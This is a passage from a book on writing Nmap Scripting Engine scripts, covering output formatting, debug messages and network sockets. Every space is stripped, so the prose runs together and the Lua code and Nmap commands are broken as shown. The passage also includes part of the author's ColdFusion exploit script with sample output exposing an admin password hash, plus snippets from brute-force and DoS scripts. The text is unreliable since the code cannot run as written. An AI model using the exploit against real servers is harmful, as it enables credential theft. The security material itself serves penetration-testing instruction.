SummaryInthischapter,wehadfunwritingNSEscriptsthatusethebrutelibrarytolaunchdictionaryattacks.Ourscript,mikrotik-routeros-brute,showedthatweonlyneeded100linesofcodetoproducescriptsthatsupportparallelism,connectionretries,accounthandling,andreporting.

Afterreadingthischapter,youshouldknowalltherequiredlibrariesandhowtoimplementtheinterfacesneededtowriteyourownscripts.Grabyourfavoritewebapplicationandpracticethisnewknowledge.Thereisnobetterwaytomastersomethingthanpracticing.

ThenextchapterintroducesoutputformattinginNSE.YouwilllearnabouttheoutputmodessupportedbyNmapandtheiradvantagesanddrawbacksinNSE.Itistimewelearnedsomegoodpracticesonhowtoformatourscript’soutput.

Chapter7.FormattingtheScriptOutputFormattingourNmapScriptingEngine(NSE)scripts’outputcorrectlyisimportantbecauseitprovidesgreaterflexibilitytoanyoneworkingwiththem,specificallywhenreadingorparsingresults.Thischaptercoverstheusageofthesupportedoutputmodeandattemptstooutlinegoodpracticesregardingreportingdatabacktotheusers.

Inversion6.20BETA1,anewfeaturewasintroducedtoprovidegreaterflexibilitybyallowingNSEscriptstoreturnstructureddatainXMLformat.Beforethat,usersneededtoparsetheresultsfromastringstoredinthefile,whilethenewsystemallowsuserstonavigatethroughawell-organizedXMLfile.Wewillexplorethedifferentwaysofproducingthisstructuredoutput.

Besidesthenewstructuredoutputscheme,thischapterwilltalkabouttheroleoftheNmapAPIandstdnselibrarywhenformattingourscripts’outputandprintingdebuggingcallsorverbosemessages.Inthischapter,wewillcoverthefollowingtopics:

AnoverviewofoutputformatssupportedbyNmapStructuredoutputinXMLmodeFormattingverbosemessagesandhandlingthedifferentverbositylevelsFormattingdebugmessagesandhandlingthedifferentdebugginglevelsWorkingwithXMLfilesfromthecommandlineStrengthsandweaknessesofthedifferentoutputformats

Finally,rememberthatyoumayencounterseveralscriptsthatstilldon’tsupportstructuredoutput.Feelfreetoupdatethemandsendyourcontributiontothedevelopmentmailinglist.Yourhelpwillbemuchappreciated.

OutputformatsandNmapScriptingEngineLet’squicklyrecaphowNmapformatstheoutputofascan.IfwerunthedefaultNSEcategory(-sC)againstthescanme.nmap.orghost,wegetthefollowingoutput:

nmap-n-Pn-p80-sCscanme.nmap.org

PORTSTATESERVICE

80/tcpopenhttp

|_http-title:GoaheadandScanMe!

Bydefault,Nmapreturnsthenormaloutputifnooptionisgiven.Theavailableoutputoptionsare:

Normaloutput(-oN)XMLoutput(-oX)Grepableoutput(-oG)Scriptkiddie(-oS)

TipThe-oA<basename>argumentsavestheoutputinnormal,XML,andgrepableformats.Ipersonallyusethisoptionallthetime.Let’ssaywewanttoscanport80withNSEandsavetheresultsinallformats.Wewoulduseacommandsimilartothefollowing:

$nmap-p80-sC-oAscanme.nmap.orgscanme.nmap.org

Whenthescaniscomplete,newfileswillbegeneratedinyourcurrentdirectory:

scanme.nmap.org.gnmap

scanme.nmap.org.nmap

scanme.nmap.org.xml

Thesefilescorrespondtotheresultsofthescaningrepable,normal,andXMLformats.Nowyoumaychoosetheformatbestfittedforthetask.Forexample,normaloutputmightbeeasyatfirstsightbutyouwillcertainlyneedthatXMLfiletoimporttheresultstoyourfavoritevulnerabilityscanner.

Nowlet’sseehowtheXMLoutputofthatsamescanlooks:

$nmap-p80-sCscanme.nmap.org-oX

<?xmlversion="1.0"?>

<!DOCTYPEnmaprunPUBLIC"-//IDNnmap.org//DTDNmapXML1.04//EN"

"https://svn.nmap.org/nmap/docs/nmap.dtd">

<?xml-stylesheethref="file:///usr/local/bin/../share/nmap/nmap.xsl"

type="text/xsl"?>

<!--Nmap6.46scaninitiated<date>as:nmap-p80-sC-oX-

scanme.nmap.org-->

<nmaprunscanner="nmap"args="nmap-p80-sC-oX-scanme.nmap.org"start="

<starttimestampunixformat>"startstr="<date>"version="6.46"

xmloutputversion="1.04">

<scaninfotype="syn"protocol="tcp"numservices="1"services="80"/>

<verboselevel="0"/>

<debugginglevel="0"/>

<hoststarttime="<starttimestampunixformat>"endtime="<endtimestamp

unixformat>"><statusstate="up"reason="reset"reason_ttl="128"/>

<addressaddr="74.207.244.221"addrtype="ipv4"/>

<hostnames>

<hostnamename="scanme.nmap.org"type="user"/>

<hostnamename="scanme.nmap.org"type="PTR"/>

</hostnames>

<ports><portprotocol="tcp"portid="80"><statestate="open"reason="syn-

ack"reason_ttl="128"/><servicename="http"method="table"conf="3"/>

<scriptid="http-title"output="GoaheadandScanMe!"><elemkey="title">Go

aheadandScanMe!</elem>

</script></port>

</ports>

<timessrtt="24648"rttvar="44746"to="203632"/>

</host>

<runstats><finishedtime="<endtimestampunixformat>"timestr="<date>"

elapsed="2.69"summary="Nmapdoneat<date>;1IPaddress(1hostup)

scannedin2.69seconds"exit="success"/><hostsup="1"down="0"total="1"/>

</runstats>

</nmaprun>

IfwecomparetheamountofinformationdisplayedinnormalandXMLoutputs,youwillrealizethattheonlydifferenceisthereasonfield,whichexplainswhythehostwasmarkedasonlineandtheservicewasmarkedasopened.Bothfilesshouldcontainthesameinformation.However,ifweplantoaccesstheinformationprogrammatically,itiseasiertoworkwiththeXMLfilesincenearlyeveryprogramminglanguageprovidesrobustXMLparsingcapabilities.

NoteUsethe-charactertoredirecttheoutputtostdout:

$nmap-oX-scanme.nmap.org

Nowlet’spayattentiontowhatthescripttagelementlookslike:

<scriptid="http-title"output="GoaheadandScanMe!"><elemkey="title">Go

aheadandScanMe!</elem>

</script>

NSEscriptswrittenbeforetheXMLstructuredoutputfollowedthisformat:

<scriptid="<scriptname>"output="<scriptoutput>"></script>

StuffingtheoutputinsideasingletagcouldleadtoXMLfilesthatarehardtoreadandsometimesevendifficulttoparse.Thefollowingsnippetisaneditedversionoftheoutputofthehttp-vhostsscriptagainstscanme.nmap.org:

<scriptid="http-vhosts"output="amp;#xa;ns.nmap.org:

200amp;#xa;dhcp.nmap.org:200amp;#xa;appserver.nmap.org:

200amp;#xa;devel.nmap.org:200amp;#xa;stats.nmap.org:

200amp;#xa;help.nmap.org:200amp;#xa;app.nmap.org:200amp;#xa;

news.nmap.org:200"/>

Intheprecedingsnippet,wecanseethattheoutputfollowsthe<domain>:<status>&amp;#xaformat,whichwon’tbetoohardtoworkwith.Nowlet’sseehowtheoutputofascriptthatusesthevulnlibrarytoreportvulnerabilitiescanbetrickiertoparse:

<scriptid="bmc-supermicro-conf"output="amp;#xa;VULNERABLE:amp;#xa;

SupermicroBMCconfigurationfiledisclosureamp;#xa;State:VULNERABLE

(Exploitable)amp;#xa;Description:amp;#xa;SomeSupermicroBMC

productsarevulnerabletoanauthenticationbypassvulnerabilitythat

allowsattackerstodownloadamp;#xa;aconfigurationfilecontaining

plaintextusercredentials.Thiscredentialsmaybeusedtologintothe

administrativeinterfaceandtheamp;#xa;network&apos;sActive

Directory.amp;#xa;Disclosuredate:2014-06-19amp;#xa;Extra

information:amp;#xa;Snippetfromconfigurationfile:amp;#xa;

.............admin…............................\x01\x01\x01.\x01…...\x01ADM

IN…........Mpp$$!!009…........T.T….........\x01

\x01\x01.\x01….......................................................amp;#x

a;Configurationfilesavedto

&apos;xxx.xxx.xxx.xxx_bmc.conf&apos;amp;#xa;amp;#xa;

References:amp;#xa;http://blog.cari.net/carisirt-yet-another-bmc-

vulnerability-and-some-added-extras/amp;#xa;"/>

Toovercomethisproblem,anewfeaturewasintroducedinversion6.20BETA1—structuredXMLoutput.NSEdeveloperscannoweasilymaketheirscriptsreturndataorganizedinahierarchicalstructure,asshowninthepreviousexampleofthehttp-titlescript:

<scriptid="http-title"output="GoaheadandScanMe!"><elemkey="title">Go

aheadandScanMe!</elem>

</script>

XMLstructuredoutputTheobjectiveoftheXMLstructuredoutputistoreturndatatousersinstructuresthatareeasiertoparsethanthebloboftextreturnedbytheolderscripts.ThebestpartisthatwecantakeadvantageofthisfeaturetransparentlyinourscriptsusingthestandardfunctionsprovidedbytheNmapAPIandthestdnselibrary.IfyouareconsideringsendingyourNSEscripttogetitincludedwithofficialNmapreleases,Ihighlyrecommendmakingyourscriptssupportthestructuredoutput.

NoteTheofficialdocumentationofthestdnseandnmaplibrariescanbefoundhere:

http://nmap.org/nsedoc/lib/stdnse.htmlhttp://nmap.org/nsedoc/lib/nmap.html

ImplementingstructuredoutputinyourscriptsLuatablesareperfectdatastructurestorepresentoutput,sotheyweretheobviouschoicetobeusedasreturnvaluesbyNSE.NSEscriptscanimplementstructuredoutputbyreturningoneofthefollowingvalues:

ALuatableALuatableandastringALuatablewitha__tostring()metamethod

ThesimplestwayofimplementingastructuredoutputisbyreturningaLuatablethatNSEwillautomaticallytransformintotherespectiveformat—thatis,astringrepresentationoranXMLfilefornormal(-oN)andXMLoutputmode(-oX),respectively.

Let’sjumpintosomecodetoseehoweasyitcanbetomakeyourscriptssupportstructuredoutput.Iwrotethehttp-coldfusion-subzeroscript,whichexploitstheinfamousColdFusionvulnerabilitytogainaccesstoLinode(andseveralhigh-profileclientshostedwiththem,includingtheNmapproject),whichistermedbyAdobeasAPSB13-13(http://www.adobe.com/support/security/bulletins/apsb13-13.html).Let’sdissectthemaincodeblock:

action=function(host,port)

localoutput_tab=stdnse.output_table()

localbasepath=stdnse.get_script_args(SCRIPT_NAME..".basepath")or"/"

localinstallation_path=get_installation_path(host,port,basepath)

localversion_num=get_version(host,port,basepath)

localstatus,file=exploit(host,port,basepath)

ifstatusthen

ifversion_numthen

output_tab.version=version_num

end

ifinstallation_paththen

output_tab.installation_path=url.unescape(installation_path)

end

output_tab.password_properties=file

else

returnnil

end

returnoutput_tab

end

Thefirstlineisacalltotheoutput_table()functionofthestdnselibrary:

localoutput_tab=stdnse.output_table()

ThepurposeoftheaforementionedfunctionistocreateaLuatablethatmaintainstheorderinwhichtheelementsareinsertedtoconstructanoutputtable.ThisoutputtableisreturnedbyscriptsandinterpretedbyNSEtodisplaytheoutputaccordingtothespecifiedformat.Thenextlinessimplyreaduserargumentsandcallthefunctionsinchargeof

detectionandexploitationofthevulnerability:

localbasepath=stdnse.get_script_args(SCRIPT_NAME..".basepath")or"/"

localinstallation_path=get_installation_path(host,port,basepath)

localversion_num=get_version(host,port,basepath)

localstatus,file=exploit(host,port,basepath)

Nowlet’stakeacloserlookatthenextblockofcodeandtheassignmentsmadetoouroutput_tabvariable:

ifstatusthen

ifversion_numthen

output_tab.version=version_num

end

ifinstallation_paththen

output_tab.installation_path=url.unescape(installation_path)

end

output_tab.password_properties=file

else

returnnil

end

Thevariableassignmentsperformedinthepreviousblockwereasfollows:

output_tab.version=version_num

output_tab.installation_path=url.unescape(installation_path)

output_tab.password_properties=file

Asyoucansee,theseassignmentsweremadetonon-existingfields,andthisisacceptableinLua.Eachfieldnameisactuallyusedtoconstructtheoutputtableaswell.Andattheendofthescriptexecution,wemustsimplyreturnthistabletoletNSEtransformitintothecorrectoutputformat.

Inthiscase,thenormaloutputofthescriptlookslikethis:

PORTSTATESERVICEREASON

80/tcpopenhttpsyn-ack

http-coldfusion-subzero:

installation_path:C:\inetpub\wwwroot\CFIDE\adminapi\customtags

version:9

password_properties:#FriMar0217:03:01CST2012

rdspassword=

password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0

encrypted=true

TheoutputgeneratedinXMLmodewilllooklikethefollowing:

<elemkey="installation_path">

C:\inetpub\wwwroot\CFIDE\adminapi\customtags</elem>

<elemkey="version">9</elem>

<elemkey="password_properties">#FriMar0217:03:01CST

2012amp;#xd;amp;#xa;rdspassword=amp;#xd;amp;#xa;password=AA251FD567358F16B7

DE3F3B22DE8193A7517CD0amp;#xd;amp;#xa;encrypted=trueamp;#xd;amp;#xa;</elem>

Whilethismethodworksgreatforscriptsthatreturnafewlines,wemayneedtodisplay

moreinformationinoneformatthaninanother.Forthoseoccasions,wewillmakeourNSEscriptsreturnatableandastring.ThetablewillbeusedtogeneratetheXMLoutputandthestringfornormalmode.Let’sexamineanimplementationofthisfeature.

Thefollowingisasnippetfromthehttp-titlescript,specificallyfromtheendofthescriptwheretheoutputisformattedandreturned:

localoutput_tab=stdnse.output_table()

output_tab.title=title

output_tab.redirect_url=redirect_url

localoutput_str=display_title

ifredirect_urlthen

output_str=output_str.."\n"..("Requestedresourcewas

%s"):format(redirect_url)

end

returnoutput_tab,output_str

Noteinthepreviouscodeblockhowwearereturningtwovalues:anoutputtableandanoutputstring.TheadditionalfieldonlygetscreatedwhenaredirectionURLisfound,sowewillgrabthetitleofWikipedia,whichdoeshavearedirect,toseetheoutputdifferences:

$nmap-p80--scripthttp-titlewikipedia.org

Theoutputoftheprecedingcommandisasfollows:

PORTSTATESERVICE

80/tcpopenhttp

|http-title:Wikipedia

|_Requestedresourcewashttp://www.wikipedia.org/

TheXMLoutputforthesamecommandisasfollows:

$nmap-p80--scripthttp-title-oX-wikipedia.org

<elemkey="title">Wikipedia</elem>

<elemkey="redirect_url">http://www.wikipedia.org/</elem>

Itisimportantthatbothoutputmodescontainthesameinformation.However,itisacceptabletobemoreverboseandexplainthescriptresultsmoreinnormalmode(-oN),asintheexampleshownpreviously.

Finally,let’susesomeofthepowerofLuatosetamethamethodforthe__tostring()functiontoenhancetableoutputformatting.Thisadvancedusageofmetatablesissuitableforoccasionswhenweworkwithnestedtablesandtheautogeneratedtabindentationisnotgoodenough.

Metamethodsaredefinedusingsetmetatable(),whichsetsthetablewiththeoverloaded__tostring()methodasthemetatableoftheobject:

localr={ip=ip_addr}

setmetatable(r,{__tostring=function(t)returnstring.format("TheIP

addressis:%s",t.ip)}

Let’sgothroughoneexampleofthisimplementation.Thedns-brutescriptusesmetamethodstoformattheoutputofthehostinformation.Thefollowingcodesnippetbelongstothethread_main()function:

localfunctionthread_main(domainname,results,name_iter)

localcondvar=nmap.condvar(results)

fornameinname_iterdo

for_,dtypeinipairs({"A","AAAA"})do

localres=resolve(name..'.'..domainname,dtype)

if(res)then

for_,addrinipairs(res)do

localhostn=name..'.'..domainname

iftarget.ALLOW_NEW_TARGETSthen

stdnse.print_debug("Addedtarget:"..hostn)

localstatus,err=target.add(hostn)

end

stdnse.print_debug("Hostname:"..hostn.."IP:"..addr)

localrecord={hostname=hostn,address=addr}

setmetatable(record,{

__tostring=function(t)

returnstring.format("%s-%s",t.hostname,t.address)

end

})

results[#results+1]=record

end

end

end

end

condvar("signal")

end

Intheprecedingcodeblock,wecanseethattheimplementationisnotascomplicatedasitfirstseemedtobe.Thefirstlinedefinesthetablestructure,andthenwemustcallthesetmetatablefunctiontooverloadthe__tostring()function:

localrecord={hostname=hostn,address=addr}

setmetatable(record,{

__tostring=function(t)

returnstring.format("%s-%s",t.hostname,t.address)

end

})

results[#results+1]=record

Additionally,wecouldtakeadvantageofthistoimplementsomesafechecksinourtables,suchasanemptycheck:

localresponse=stdnse.output_table()

if(#results==0)then

setmetatable(results,{__tostring=function(t)return"Noresults."

end})

end

response["DNSBrute-forcehostnames"]=results

if(dosrv)then

if(#srvresults==0)then

setmetatable(srvresults,{__tostring=function(t)return"No

results."end})

end

response["SRVresults"]=srvresults

end

returnresponse

Asexpected,theoutputgeneratedinnormalandXMLmodeswillautomaticallybeformattedcorrectly.Theonlythingweneededtodowastoprovideourownformatstringtooverloadthe__tostring()methodinourtableobject.

Thenormaloutputisasfollows:

Hostscriptresults:

|dns-brute:

|DNSBrute-forcehostnames:

|mssql.0xdeadbeefcafe.com–xxx.xxx.xxx.xxx

|helpdesk.0xdeadbeefcafe.com-xxx.xxx.xxx.xxx

|_stage.0xdeadbeefcafe.com-xxx.xxx.xxx.xxx

ThefollowingistheXMLoutput:

<tablekey="DNSBrute-forcehostnames">

<table>

<elemkey="address">xxx.xxx.xxx.xxx</elem>

<elemkey="hostname">mssql.0xdeadbeefcafe.com</elem>

</table>

<table>

<elemkey="address">xxx.xxx.xxx.xxx</elem>

<elemkey="hostname">helpdesk.0xdeadbeefcafe.com</elem>

</table>

<table>

<elemkey="address">xxx.xxx.xxx.xxx</elem>

<elemkey="hostname">stage.0xdeadbeefcafe.com</elem>

</table>

</table>

PrintingverbositymessagesIfyouhatescriptsthatjustseemtostopworkingbecauseofalackofinformationintheoutput,thenyouneedtoincludeverbositymessagesinyourscripts.Thepurposeofthesemessagesistoinformusersofwhatisgoingonbehindthesceneswhileyourscriptdoesitswork.Verbositymessagesshouldbeclearandconcisewhileexplainingtheprogressofthecurrenttask.

Thestdnselibraryofferstheverbose()functiontoprinttheseverbosemessages:

level:Thisisthelevelofverbosityneededtoprintthemessage.Thenumbercanbefrom1to9but,inpractice,mostdevelopersuseuptolevel3only.fmt:Thisoutputsaproperlyformattedmessage.…:Thisisusedtoformatarguments.

Forexample,toprintaverbosemessageonlywhentheverbositylevelishigherthan2,weusethefollowingcode:

localstdnse=require"stdnse"

fori,vinpairs(arr)do

stdnse.verbose(2,"ID%d-%s",i,v)

end

Ifyouneedtoobtaintheverbositylevelatruntime,youcouldinvokeNmap’sverbosity()APIfunction:

localnmap=require"nmap"

if(nmap.verbosity()>=2)

output_tab.extra_info="Someadditionalinformation"

NoteIftheverbositylevelis2orhigher,stdnse.verbose()willalsoprinttheIPaddressandportinformationifavailable.

IncludingdebugginginformationDebuggingmessagescanbeincludedinNSEscriptsusingthedebug()functionfromthestdnselibrary.Thesemessagesareshownonlywhenthedebugginglevelhasbeensettoavaluehigherthan0:

Debug(level,fmt,…)where

level:Debugginglevel.

fmt:Formatstring.

…:Formatarguments.

Toprintadebugmessagewhenthedebugginglevelis1orhigher,weusethefollowingcode:

stdnse.debug(1,"Task#%dcompleted.",id)

Theideabehindsupportingthisfunctionisthatwecandothingssuchasprintingdifferentlevelsofinformationwithouthavingtowritenestedcode:

stdnse.debug(1,"Response#%dreceived.",i)

stdnse.debug(2,"Responsestatuscode:%d",req.status)

stdnse.debug(3,"Responsebody:",req.body)

ItisimportanttoprovidesomedebugginginformationinallyourNSEscripts.Thishelpspeoplefigureoutwhythingsgowrongandsubmitbugreports.

TipThedebugginglevelofascanissetusingthe-d[1-9]option:

$nmap–d3--scriptmybuggyscript<target>

TheweaknessofthegrepableformatAlotofpeopleloveworkingstraightfromthecommandline,andtheypreferthegrepableoutputformateventhoughitwasdeprecatedmanyyearsago.ThemaindrawbackofusingthegrepableformatisthatNSEdoesnothaveawaytoprovideoutputinthisformat.IfyouneedtoworkwithresultsfromNSE,youneedtosticktonormal(-oN),XML(-oX),oreventhescriptkiddiemode(-oS),sinceitshowsthesameinformationasthenormaloutputmode.

Thenormaloutputisasfollows:

PORTSTATESERVICE

80/tcpopenhttp

|_http-title:GoaheadandScanMe!

Ingrepableoutput(noNSEinformation),itlooksasfollows:

Host:74.207.244.221(scanme.nmap.org) Status:Up

Host:74.207.244.221(scanme.nmap.org) Ports:80/filtered/tcp//http///

NoteForacompletelistofthefieldsreturnedingrepablemode,youcanvisittheofficialdocumentationathttp://nmap.org/book/output-formats-grepable-output.html.

YoucanstillusecommandlineswhenworkinginXMLformatifyouusetoolssuchasxmlstarlettoselectXMLelementsandattributes.Forexample,toselectandprintallelementswiththesmtp-open-relayID,youcanusethiscommand:

$xmlstarletsel-t-m'//script[@id="smtp-open-relay"]'-c.-nwindows-

network.xml

NoteMoreinformationaboutthexpathsyntaxcanbefoundathttp://www.w3.org/TR/xpath/#path-abbrev.

NSEscriptoutputintheHTMLreportAftersavingyourscanresultsintheXMLoutputformat,youcangenerateanHTMLreportwiththehelpofanXSLTprocessor.Thereareseveraloptionsavailablebut,inUNIX,themostpopularoptionisxsltproc.Tousethis,wesimplypasstheXMLscanresultsfileandsettheoutputfilenameasfollows:

$xsltproc<inputxmlfile>-o<outputfile>

$xsltprocb33rcon.xml-ob33rcon.html

NowtheHTMLfilegeneratedcansimplybeopenedwithyourfavoritewebbrowser.Theoutputinthewebbrowserwouldlookasfollows:

TheNSEscriptoutputwillbeincludedunderneathitscorrespondingservice.ItisimportanttonotethattheoutputstoredinthisHTMLfilewastakenfromthenormaloutputstring,andtheHTMLthatcontainsitdoesnothavestructureddata.Ifyouareplanningonparsingresults,IrecommendstickingtotheXMLformat.

Finally,rememberthatyoucanalsomakeNmaplinktotheonlinecopyoftheXSLstylesheetbyaddingthe--webxmloption:

#nmap-F-oXscanme-nmap-org.xml--webxmlscanme.nmap.org

Thehrefstylesheetreferencesthefollowinglink:

<?xml-stylesheethref="https://svn.nmap.org/nmap/docs/nmap.xsl"

type="text/xsl"?>

TipModernwebbrowsersfollowstrictSameOriginPolicy(SOP)restrictionsthatdonotallowXSLstylesheetstobeloadedwhenopeningtheXMLfiledirectly.Forthisreason,itismorepracticaltouseXSLTprocessorstoconverttheXMLresultsintoHTMLfor

viewing.

SummaryInthischapter,youlearnedeverythingthatyouneedtoknowabouthowNSEgeneratesitsoutputandhowtostructureitcorrectlywithinyourscriptstotakefulladvantageofthefeaturesavailable.WereviewedtheavailableoutputformatsinNmaptocovertheirstrengthsandweaknesses.Youshouldnowbeabletoselecttheappropriateoutputformatforanytaskyoumayface.

Finally,don’tforgettheimportanceofverboseanddebuggingmessagesinyourscriptsandkeepingtheinformationdividedintothesmallestchunksofinformationtomakethingseasierforuserswhoparsethoseresults.

Inthenextchapter,wewillseeexamplesofrawpacketcraftingtogetuspreparedtohandleallthosewildcommunicationprotocolsweseeonlineeveryday.PreparetoventureintothedepthsofbinarystringhandlingwithNSE!

Chapter8.WorkingwithNetworkSocketsandBinaryDataMostNSEscriptsneedtocommunicatetootherhoststoreadorwritedata.LuasupportsnativenetworkI/Ooperations,butthereareseveraladvantagestousingtheinterfacesandlibrariesprovidedbytheNmapScriptingEngine(NSE).NSEsocketscanbeprogrammedasblockingornon-blockingI/Ooperations,andtheysupportaconnect-stylemethod(whenaclientopensaconnection,sendsorreceivesdata,andclosestheconnection)andlow-levelrawpackethandlingviaapacketcaptureinterface.

Nsock(http://sock-raw.org/nmap-ncrack/nsock.html)isanNmaplibrarydesignedtohelpdevelopershandleparallelizablenetworkI/Ooperations.Itisusedbytheservicedetectionengine,inDNSoperationsperformedbyNmap,andofcoursebyNSE.NSEdevelopersunknowinglyuseNsockwhenworkingwithNSEsocketsthroughtheNmapAPIlibrary.

Thereareotherveryusefullibrariesthat,whenworkingwithnetworksockets,helpNSEdevelopershandle,parse,andperformoperationsonbinarydata.Forallthepreviouslymentionedfeatures,NSEisarobustframeworktousewhendevelopinganyreconnaissancetool,administrativetool,ornetworkexploit.UsingNSEinsteadofwritingcustomscriptsfromscratchduringpenetrationtestengagementshassavedmecountlesshours,andIhaveendedupwithmoreflexiblescriptsthanoriginallyplanned.IhighlyrecommendthatyounotonlygothroughthissectioncarefullybutalsopracticewritingNSEscriptsthatusethefunctionsdescribedhere.

Inthischapter,youwilllearnhowto:

WorkwithNSEsocketsWorkwithrawsocketsinNSEReadandwritebinarydatatoanetworksocketCraftpacketsattheEthernetandIPlayersManipulaterawpackets

Fireupyourfavoritetrafficanalysistoolandlet’sstarttalkingtootherhostsonthenetwork.

WorkingwithNSEsocketsItishighlyadvisablethatyousticktoNSEsocketsfornetworkI/Ooperationswhencreatingyourownscripts.Thelibrariesinvolvedhavebeenthoroughlytestedandwillworkuniformlyacrossplatforms.NSEsocketsarehandledinternallybytheNsocklibrary,whichoffersadvantagessuchastransparentparallelismbyperformingnon-blockingI/Ooperations.Whenprogrammersdecidetousewhatappeartobeblockingcalls,NSEinthebackgroundsimplyfiresacallbackafteracertaintimesothattheywillneverblockscriptscompletely.

NSEsocketscanbeusedintwodifferentways.Usingaclassicconnectstylesocketwhichopenstheconnection,sendsorreceivesdata,andclosestheconnectionandusingapowerfulLibpcapinterfacetoprocessrawpackets.Ineithercase,NsockisresponsibleforhandlingtheminternallyviathenmapNSElibrary(http://nmap.org/nsedoc/lib/nmap.html).

Finally,don’tforgettousethe--packet-traceNmapoptionwhendevelopingscriptsthatperformnetworkI/O.ItreturnsvaluableinformationwhendebuggingNsockcalls:

#nmap-eeth0--scriptbroadcast-ping--packet-trace

NSOCKINFO[0.0460s]nsi_new2():nsi_new(IOD#1)

NSOCKINFO[0.0460s]nsock_pcap_open():PCAPrequestedondevice'eth0'

withberkeleyfilter'dsthost192.168.132.133andicmp[icmptype]==icmp-

echoreply'(promisc=0snaplen=104to_ms=200)(IOD#1)

NSOCKINFO[0.0460s]nsock_pcap_open():PCAPcreatedsuccessfullyondevice

'eth0'(pcap_desc=5bsd_hack=0to_valid=1l3_offset=14)(IOD#1)

NSOCKINFO[0.0470s]nsock_pcap_read_packet():PcapreadrequestfromIOD

#1EID13

NSOCKINFO[0.0470s]nsock_trace_handler_callback():Callback:READ-PCAP

SUCCESSforEID13

NSOCKINFO[0.0470s]nsock_pcap_read_packet():PcapreadrequestfromIOD

#1EID21

NSOCKINFO[3.0480s]nsock_trace_handler_callback():Callback:READ-PCAP

TIMEOUTforEID21

NSE:>|CLOSE

NSOCKINFO[3.0480s]nsi_delete():nsi_delete(IOD#1)

Pre-scanscriptresults:

|broadcast-ping:

|IP:192.168.132.2MAC:00:50:56:ed:4e:41

|_Use--script-args=newtargetstoaddtheresultsastargets

WARNING:Notargetswerespecified,so0hostsscanned.

Nmapdone:0IPaddresses(0hostsup)scannedin3.05seconds

CreatinganNSEsocketLet’screateourfirstNSEsocket.First,importthenmaplibraryintoyourscriptandtheninitiatetheobjectasfollows:

--nse_sockets_1.nse:OurfirstNSEsocket.

--Loadthelibrary"nmap"

localnmap=require"nmap"

--Mainfunction

action=function(host,port)

localsocket=nmap.new_socket()

end

Thenmap.new_socket()functioncantakethefollowingarguments:

protocol:Thisisthestringdefiningtheprotocol.Thesupportedmethodsaretcp,udp,andssl.af:Thisisthestringdefiningtheaddressfamily.Thesupportedaddressfamiliesareinetandinet6.

Invokingnmap.new_socket()withoutargumentsdefaultstheprotocoltotcpandinetasanaddressfamily.Similarly,tocreateaUDPsocket,wewouldusetheudpstringastheprotocolargument:

localudp_socket=nmap.new_socket("udp")

ConnectingtoahostusingNSEsocketsConnecttothehostbycallingtheconnect()functionofyourNSEsocketobject:

localstatus,error=socket:connect(host,port)

ThefirstreturnvalueisaBooleanrepresentingthestatusoftheoperation.Itisequaltotrueiftheoperationissuccessfulandfalseotherwise.Thesecondvaluewillbenilunlessanerroroccurred,inwhichcaseitwillcontaintheerrorstring.Wecanusethistoperformsomesanitychecksinourscripts.Let’suseourpreviousexample,nse_sockets_1.nse,toillustratetseschecks:

--nse_sockets_1.nse:OurfirstNSEsocket.

--Loadthelibrarynmap

localnmap=require"nmap"

--Mainfunction

action=function(host,port)

localsocket=nmap.new_socket()

localstatus,error=socket:connect(host,port)

if(not(status))then

stdnse.print_debug(1,"Couldn'testablishaconnection.Exiting.")

returnnil

end

end

Alternatively,wecouldhaveusedNSE’serrorhandlingmechanism.SeeChapter4,ExploringtheNmapScriptingEngineAPIandLibraries,tolearnhowtoimplementexceptionhandlinginyournetworkI/Otasks.

Theconnect()functioncanreturnthefollowingerrorstringscorrespondingtoerrorcodesreturnedbyNSEandtheCfunction,gai_sterror():

Sorry,youdon'thaveOpenSSL

Invalidconnectionmethod

Addressfamilyforhostnamenotsupported(EAI_ADDRFAMILY)Temporaryfailureinnameresolution(EAI_AGAIN)Badvalueforai_flags(EAI_BADFLAGS)Non-recoverablefailureinnameresolution(EAI_FAIL)ai_familynotsupported(EAI_FAMILY)Memoryallocationfailure(EAI_MEMORY)Noaddressassociatedwithhostname(EAI_NODATA)Nameorservicenotknown(EAI_NONAME)Servnamenotsupportedforai_socktype(EAI_SERVICE)ai_socktypenotsupported(EAI_SOCKTYPE)Systemerror(EAI_SYSTEM)

NoteMoreinformationabouttheerrorsreturnedcanbefoundatthemainpageofthe

gai_strerrorfunction:

$mangai_strerror

SendingdatausingNSEsocketsNSEsocketobjectssupportthesend()functiontotransmitdataoveranestablishedconnection.Theonlyargumentofthisfunctionisthedatastringtosend:

status,error=socket:send("HelloNmaper!")

ThefirstreturnvalueisaBooleanthatindicatesthestatusoftheoperation.Iftheoperationfails,thesecondreturnvaluewillcontainanerrorstring.Theerrorstringsthatcanbereturnedare:

Tryingtosendthroughaclosedsocket

TIMEOUT

ERROR

CANCELLED

KILL

EOF

Thenmaplibraryalsooffersawayofsendingdatatoanunconnectedsocketviathesendto()function.Sincethereisnodestinationaddress,weneedtoprovideanaddresswitheachsendto()call:

status,error=socket:sendto(host,port,payload)

Again,thefirstreturnvalueisaBooleanrepresentingtheoperationstatus;iftheoperationfails,thesecondreturnvaluewillbeanerrorstring.Thefollowingcodeisasnippetfromthebroadcast-avahi-dosscript,wherethesendto()functionisusedtotransmitanullUDPpacketoveranunconnectedsocket:

avahi_send_null_udp=function(ip)

localsocket=nmap.new_socket("udp")

localstatus=socket:sendto(ip,5353,"")

returnstatus

end

Theerrorstringsreturnedbysendto()arethesameasthosereturnedbysend(),withtheexceptionoftheerrorrelatedtosendingdatathroughaclosedsocket.

ReceivingdatausingNSEsocketsThenmaplibraryhasthereceive(),receive_buf(),receive_bytes(),andreceive_lines()functionstoreceivedatathroughanNSEsocket.Let’sovervieweachofthemsothatyoucanpicktherightfunctionforyourscripts.AllofthesemethodswillreturnaBooleanindicatingtheoperationstatusasthefirstreturnvalue,andthesecondreturnvaluewillbeeitherthedataoranerrorstringiftheoperationfails.

Thereceive()functiondoesnottakeanyarguments,butrememberthatthismethodmustbeperformedonanopensocket:

status,data=socket:receive()

Thereceive_buf()methodisusedtoreaddatauntilthegivendelimiterisfound.Ittakestwoparameters:

delimiter:Theisthepatternorfunctiontomatchkeeppattern:Thisdetermineswhetherthedelimitersshouldbeincludedintheresponsedata

Let’sreaddatafromasocketuntilwefindthe</users>stringdelimiter:

status,response=socket:receive_buf("</users>",true)

Ifweknowthattheresponsewearelookingforhasacertainlength,weshouldusereceive_bytes().Thismethodtakestheminimumnumberofbytestoreadasitsonlyargument:

status,data=socket:receive_bytes(5)

